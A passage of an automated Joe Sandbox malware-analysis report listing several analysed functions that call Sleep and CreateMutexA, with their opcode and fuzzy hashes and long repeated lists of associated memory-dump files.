Associated: 00000001.00000002.2509110558.0000000000AA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509152815.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509170894.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509189630.0000000000AD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509210133.0000000000ADB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509224715.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509237819.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7d0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 7bb9393287ccf968ea7ae64d1b9460d1479f577c73798c7bca134b48a1b22d8a
Instruction ID: 52e266e9b3c03115c85c938081945892f566af39132e522232d642bde9f755a5
Opcode Fuzzy Hash: 7bb9393287ccf968ea7ae64d1b9460d1479f577c73798c7bca134b48a1b22d8a
Instruction Fuzzy Hash: E73168716002009BFB08DB78DD8976EBBB2EFC5315F20821AE114973D6D77DAA818761

Function 007D9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 007DA963
CreateMutexA.KERNEL32(00000000,00000000,00833254), ref: 007DA981

Memory Dump Source

Source File: 00000001.00000002.2494150893.00000000007D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000001.00000002.2493201836.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2494150893.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495463608.0000000000839000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495547111.000000000083B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495801085.0000000000847000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2498803531.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2499452061.0000000000997000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2503455825.00000000009C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505145102.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505218294.00000000009D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505259322.00000000009D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505383287.00000000009EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505913509.00000000009F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2506879873.00000000009F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2507292705.0000000000A04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508111805.0000000000A05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508236120.0000000000A06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508260365.0000000000A1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508280827.0000000000A1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508308888.0000000000A1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508487216.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508516090.0000000000A23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508543333.0000000000A27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508565857.0000000000A30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508586488.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508605391.0000000000A33000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508681765.0000000000A37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508709418.0000000000A43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508739901.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508885897.0000000000A48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508900655.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508916845.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508933368.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508948630.0000000000A50000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508961637.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508974753.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508988238.0000000000A5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509001839.0000000000A62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509019603.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509036367.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509055179.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509089226.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000AA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509152815.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509170894.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509189630.0000000000AD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509210133.0000000000ADB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509224715.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509237819.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7d0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 68114d6fefd8ff3db22377523d8a685895f288fcaaf656901c1178caa97bb99c
Instruction ID: 5c183cb48fdf03b3b640aef113e27822828c40b211bb10cd2d0cc7c870d222c3
Opcode Fuzzy Hash: 68114d6fefd8ff3db22377523d8a685895f288fcaaf656901c1178caa97bb99c
Instruction Fuzzy Hash: 68314831600100ABFB18DB78DD987ADB7B2FBC5314F24461AE114EB3D5E73DAA808752

Function 007DA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 007DA963
CreateMutexA.KERNEL32(00000000,00000000,00833254), ref: 007DA981

Memory Dump Source

Source File: 00000001.00000002.2494150893.00000000007D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000001.00000002.2493201836.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2494150893.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495463608.0000000000839000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495547111.000000000083B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495801085.0000000000847000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2498803531.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2499452061.0000000000997000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2503455825.00000000009C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505145102.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505218294.00000000009D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505259322.00000000009D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505383287.00000000009EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505913509.00000000009F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2506879873.00000000009F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2507292705.0000000000A04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508111805.0000000000A05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508236120.0000000000A06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508260365.0000000000A1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508280827.0000000000A1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508308888.0000000000A1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508487216.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508516090.0000000000A23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508543333.0000000000A27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508565857.0000000000A30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508586488.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508605391.0000000000A33000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508681765.0000000000A37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508709418.0000000000A43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508739901.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508885897.0000000000A48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508900655.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508916845.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508933368.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508948630.0000000000A50000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508961637.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508974753.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508988238.0000000000A5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509001839.0000000000A62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509019603.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509036367.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509055179.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509089226.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000AA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509152815.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509170894.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509189630.0000000000AD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509210133.0000000000ADB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509224715.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509237819.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7d0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 2494eda52126193669a89e83214dddbf44ca7f38e72b1dc19b57de5057b9f306
Instruction ID: deffda39d4dfc28ff70f9bf3d728951e4c9018711d96f777efa0269eeac5737b
Opcode Fuzzy Hash: 2494eda52126193669a89e83214dddbf44ca7f38e72b1dc19b57de5057b9f306
Instruction Fuzzy Hash: 0C312631A00144ABEB18DB78CD89B6DB772FBC5314F24421AE014973D5E77EA9808752

Function 007DA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 007DA963
CreateMutexA.KERNEL32(00000000,00000000,00833254), ref: 007DA981

Memory Dump Source

Source File: 00000001.00000002.2494150893.00000000007D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000001.00000002.2493201836.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2494150893.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495463608.0000000000839000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495547111.000000000083B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495801085.0000000000847000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2498803531.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2499452061.0000000000997000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2503455825.00000000009C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505145102.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505218294.00000000009D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505259322.00000000009D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505383287.00000000009EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505913509.00000000009F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2506879873.00000000009F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2507292705.0000000000A04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508111805.0000000000A05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508236120.0000000000A06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508260365.0000000000A1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508280827.0000000000A1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508308888.0000000000A1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508487216.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508516090.0000000000A23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508543333.0000000000A27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508565857.0000000000A30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508586488.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508605391.0000000000A33000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508681765.0000000000A37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508709418.0000000000A43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508739901.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508885897.0000000000A48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508900655.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508916845.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508933368.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508948630.0000000000A50000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508961637.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508974753.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508988238.0000000000A5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509001839.0000000000A62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509019603.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509036367.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509055179.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509089226.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000AA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509152815.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509170894.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509189630.0000000000AD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509210133.0000000000ADB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509224715.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509237819.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7d0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 411fce4ba3497f638615b7a662ee222eea60ab3ebed1f015e3fe42e0714a7f4e
Instruction ID: 53acf99adad05c7a127f14ab3d9a353828d3d14400bd4cdf579b0d48abd4a17d
Opcode Fuzzy Hash: 411fce4ba3497f638615b7a662ee222eea60ab3ebed1f015e3fe42e0714a7f4e
Instruction Fuzzy Hash: 58311631A00140ABFB189BB8DD89B6DB772FBC6315F24461AE014973D5E77EAA808752

Function 007DA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 007DA963
CreateMutexA.KERNEL32(00000000,00000000,00833254), ref: 007DA981

Memory Dump Source

Source File: 00000001.00000002.2494150893.00000000007D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000001.00000002.2493201836.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2494150893.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495463608.0000000000839000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495547111.000000000083B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495801085.0000000000847000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2498803531.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2499452061.0000000000997000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2503455825.00000000009C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505145102.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505218294.00000000009D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505259322.00000000009D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505383287.00000000009EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505913509.00000000009F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2506879873.00000000009F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2507292705.0000000000A04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508111805.0000000000A05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508236120.0000000000A06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508260365.0000000000A1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508280827.0000000000A1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508308888.0000000000A1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508487216.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508516090.0000000000A23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508543333.0000000000A27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508565857.0000000000A30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508586488.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508605391.0000000000A33000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508681765.0000000000A37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508709418.0000000000A43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508739901.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508885897.0000000000A48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508900655.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508916845.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508933368.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508948630.0000000000A50000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508961637.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508974753.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508988238.0000000000A5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509001839.0000000000A62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509019603.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509036367.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509055179.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509089226.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000AA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509152815.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509170894.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509189630.0000000000AD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509210133.0000000000ADB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509224715.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509237819.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7d0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: dff78fb0d5fecdcef8e77d530e0075093abd4228668226f317c3196709985f4c
Instruction ID: c8cbbda4d1f1f12b612bcf937c26f9cdeb477327d5df1ec97003067eda4778b1
Opcode Fuzzy Hash: dff78fb0d5fecdcef8e77d530e0075093abd4228668226f317c3196709985f4c
Instruction Fuzzy Hash: A2311531A00140ABFB189BBCDD89B6DB772FFC5315F24421AE014AB3DAE77D99808752

Function 007DA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 007DA963
CreateMutexA.KERNEL32(00000000,00000000,00833254), ref: 007DA981

Memory Dump Source

Source File: 00000001.00000002.2494150893.00000000007D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000001.00000002.2493201836.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2494150893.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495463608.0000000000839000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495547111.000000000083B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495801085.0000000000847000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2498803531.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2499452061.0000000000997000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2503455825.00000000009C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505145102.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505218294.00000000009D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505259322.00000000009D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505383287.00000000009EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505913509.00000000009F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2506879873.00000000009F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2507292705.0000000000A04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508111805.0000000000A05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508236120.0000000000A06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508260365.0000000000A1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508280827.0000000000A1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508308888.0000000000A1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508487216.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508516090.0000000000A23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508543333.0000000000A27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508565857.0000000000A30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508586488.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
